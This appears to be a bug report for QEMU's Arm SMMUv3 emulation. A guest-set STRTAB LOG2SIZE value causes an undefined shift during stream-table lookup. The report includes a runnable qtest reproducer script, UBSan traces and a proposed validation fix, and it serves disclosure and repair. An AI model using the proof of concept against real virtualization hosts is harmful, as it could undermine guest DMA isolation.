hw/arm/smmuv3: guest-controlled STRTAB LOG2SIZE causes shift-out-of-bounds in stream-table lookup
I can trigger host-side UndefinedBehaviorSanitizer shift-out-of-bounds reports in current QEMU master through the Arm SMMUv3 stream-table lookup path. The issue is in `smmu_find_ste()`. `STRTAB_BASE_CFG.LOG2SIZE` is programmed by the guest through the emulated SMMUv3 MMIO register interface. The value is later used to derive a stream-table size/alignment shift, and that derived value is passed directly as the `length` argument to `MAKE_64BIT_MASK()`. Relevant code: ```c int smmu_find_ste(SMMUv3State *s, uint32_t sid, STE *ste, SMMUEventInfo *event) { dma_addr_t addr, strtab_base; uint32_t log2size; int strtab_size_shift; log2size = FIELD_EX32(s->strtab_base_cfg, STRTAB_BASE_CFG, LOG2SIZE); ... if (s->features & SMMU_FEATURE_2LVL_STE) { ... strtab_size_shift = MAX(5, (int)log2size - s->sid_split - 1 + 3); strtab_base = s->strtab_base & SMMU_BASE_ADDR_MASK & ~MAKE_64BIT_MASK(0, strtab_size_shift); ... } else { strtab_size_shift = log2size + 5; strtab_base = s->strtab_base & SMMU_BASE_ADDR_MASK & ~MAKE_64BIT_MASK(0, strtab_size_shift); ... } ... } ``` `STRTAB_BASE_CFG.LOG2SIZE` is a 6-bit field, so a guest can program it as `63`. There is no validation in the register write path that the resulting `strtab_size_shift` is representable as a 64-bit mask length: ```c case A_STRTAB_BASE_CFG: s->strtab_base_cfg = data; if (FIELD_EX32(data, STRTAB_BASE_CFG, FMT) == 1) { s->sid_split = FIELD_EX32(data, STRTAB_BASE_CFG, SPLIT); s->features |= SMMU_FEATURE_2LVL_STE; } break; ``` Two independently reachable variants are present: * Linear stream table: `FMT=0, LOG2SIZE=63` makes `strtab_size_shift = 68`, so `MAKE_64BIT_MASK(0, 68)` evaluates a negative shift count internally. * 2-level stream table: `FMT=1, SPLIT=0, LOG2SIZE=63` makes `strtab_size_shift = 65`, producing the same class of undefined behavior. ## Environment I reproduced this on current master in the following environment: - host: x86_64 Linux - QEMU commit: `60533c6193ede6ce403e82d09d82ae2bc8fb423a` - build: `../configure --target-list=aarch64-softmmu --enable-ubsan --disable-werror` - machine: Arm `virt` - device/configuration used for reproduction: `-machine virt,acpi=off,gic-version=3,iommu=smmuv3` plus a PCI DMA-capable test device to trigger SMMU translation ## Steps to reproduce Build a UBSan QEMU: ```text mkdir build-ubsan-aarch64 cd build-ubsan-aarch64 ../configure --target-list=aarch64-softmmu --enable-ubsan --disable-werror ninja -j$(nproc) qemu-system-aarch64 cd .. ``` Save the following as `repro_smmuv3_strtab_log2size_shift_ub.sh`: ```sh #!/usr/bin/env bash set -euo pipefail QEMU=${QEMU:-./build-ubsan-aarch64/qemu-system-aarch64} TIMEOUT=${TIMEOUT:-8s} tmpdir=$(mktemp -d) trap 'rm -rf "$tmpdir"' EXIT make_qtest() { local cfg="$1" cat > "$tmpdir/repro.qtest" <<QTEST # Configure iommu-testdev at devfn 8 BAR0 to 0x10000000. writel 0x4010008010 0x10000000 writew 0x4010008004 0x0006 # Program Arm SMMUv3 registers on the virt machine. writel 0x09050044 0x80000000 writel 0x09050020 0x00000000 writel 0x09050028 0x00000d75 writeq 0x09050090 0x000000004e16b00a writel 0x0905009c 0x00000000 writel 0x09050098 0x00000000 writeq 0x090500a0 0x000000004e17000a writel 0x090500a8 0x00000000 writel 0x090500ac 0x00000000 # Guest-controlled STRTAB_BASE_CFG. writel 0x09050088 ${cfg} writeq 0x09050080 0x000000004e179000 writel 0x09050020 0x0000000d # Trigger a DMA through the SMMU so smmu_find_ste() is reached. writel 0x10000004 0x00000000 writel 0x10000008 0x00000000 writel 0x1000001c 0x00020000 writel 0x10000020 0x00000000 writel 0x1000000c 0x00000004 writel 0x10000018 0x0000000a writel 0x10000014 0x00000001 readl 0x10000000 readl 0x10000010 QTEST } run_case() { local name="$1" local cfg="$2" echo "[*] $name STRTAB_BASE_CFG=$cfg" make_qtest "$cfg" UBSAN_OPTIONS=${UBSAN_OPTIONS:-halt_on_error=1:print_stacktrace=1} \ timeout "$TIMEOUT" "$QEMU" \ -display none \ -nodefaults \ -machine virt,acpi=off,gic-version=3,iommu=smmuv3 \ -smp 1 \ -m 512 \ -cpu max \ -net none \ -device iommu-testdev \ -qtest stdio < "$tmpdir/repro.qtest" } # Linear stream table: FMT=0, LOG2SIZE=63 -> strtab_size_shift = 68. run_case linear-log2size63 0x0000003f || true # 2-level stream table: FMT=1, SPLIT=0, LOG2SIZE=63 -> strtab_size_shift = 65. run_case two-level-log2size63-split0 0x0001003f || true ``` Run: ```text chmod +x repro_smmuv3_strtab_log2size_shift_ub.sh ./repro_smmuv3_strtab_log2size_shift_ub.sh ``` ## Security boundary note The reproducer uses qtest only for deterministic PCI/MMIO setup and to trigger a DMA without requiring a guest kernel. The affected code path is the Arm SMMUv3 virtual IOMMU stream-table lookup path exposed to guests on the Arm `virt` virtualization machine when `iommu=smmuv3` is configured. This is not a qtest-only issue. A guest that can program the virtual SMMU registers can set `STRTAB_BASE_CFG`, enable the SMMU, and then cause a bus-mastering device to DMA through the emulated SMMU. The PoC uses `iommu-testdev` only as a compact deterministic DMA source; the vulnerable code is in SMMUv3 translation before any device-specific behavior matters. The immediate sanitizer finding is undefined behavior in the host QEMU process. In non-sanitized builds, the same unchecked calculation may compute an incorrect stream-table base address and fetch the STE from the wrong guest physical address. Since this path controls DMA translation policy for a virtual IOMMU, incorrect STE lookup/fault behavior is security-relevant for configurations that rely on the SMMU for guest-visible DMA isolation. ## UBSan output Linear stream-table variant: ```text hw/arm/smmuv3.c:734:24: runtime error: shift exponent -4 is negative #0 smmu_find_ste hw/arm/smmuv3.c:734 #1 smmuv3_decode_config hw/arm/smmuv3.c:867 #2 smmuv3_get_config hw/arm/smmuv3.c:922 #3 smmuv3_translate hw/arm/smmuv3.c:1099 #4 address_space_translate_iommu system/physmem.c:444 #5 flatview_do_translate system/physmem.c:517 #6 flatview_translate system/physmem.c:577 #7 flatview_write system/physmem.c:3318 #8 address_space_write system/physmem.c:3442 #9 dma_memory_write include/system/dma.h:171 #10 iommu_testdev_maybe_run_dma hw/misc/iommu-testdev.c:107 #11 iommu_testdev_mmio_read hw/misc/iommu-testdev.c:165 ``` 2-level stream-table variant: ```text hw/arm/smmuv3.c:690:24: runtime error: shift exponent -1 is negative #0 smmu_find_ste hw/arm/smmuv3.c:690 #1 smmuv3_decode_config hw/arm/smmuv3.c:867 #2 smmuv3_get_config hw/arm/smmuv3.c:922 #3 smmuv3_translate hw/arm/smmuv3.c:1099 #4 address_space_translate_iommu system/physmem.c:444 #5 flatview_do_translate system/physmem.c:517 #6 flatview_translate system/physmem.c:577 #7 flatview_write system/physmem.c:3318 #8 address_space_write system/physmem.c:3442 #9 dma_memory_write include/system/dma.h:171 #10 iommu_testdev_maybe_run_dma hw/misc/iommu-testdev.c:107 #11 iommu_testdev_mmio_read hw/misc/iommu-testdev.c:165 ``` ## Suggested fix `STRTAB_BASE_CFG` should be validated before the derived stream-table size/alignment is used in a 64-bit mask calculation. At minimum, reject or fault configurations whose derived `strtab_size_shift` is outside the representable range for `MAKE_64BIT_MASK()`. One possible fix shape is: ```c static bool smmu_strtab_mask(uint32_t log2size, bool two_level, uint32_t sid_split, uint64_t *mask, SMMUEventInfo *event) { int shift; if (two_level) { shift = MAX(5, (int)log2size - (int)sid_split - 1 + 3); } else { shift = (int)log2size + 5; } if (shift < 0 || shift > 64) { event->type = SMMU_EVT_C_BAD_STE; return false; } *mask = (shift == 64) ? UINT64_MAX : MAKE_64BIT_MASK(0, shift); return true; } ``` The validation could also be done at `A_STRTAB_BASE_CFG` write time. The important part is that guest-controlled `LOG2SIZE/FMT/SPLIT` combinations should not be able to make `MAKE_64BIT_MASK()` receive a length greater than 64.
issue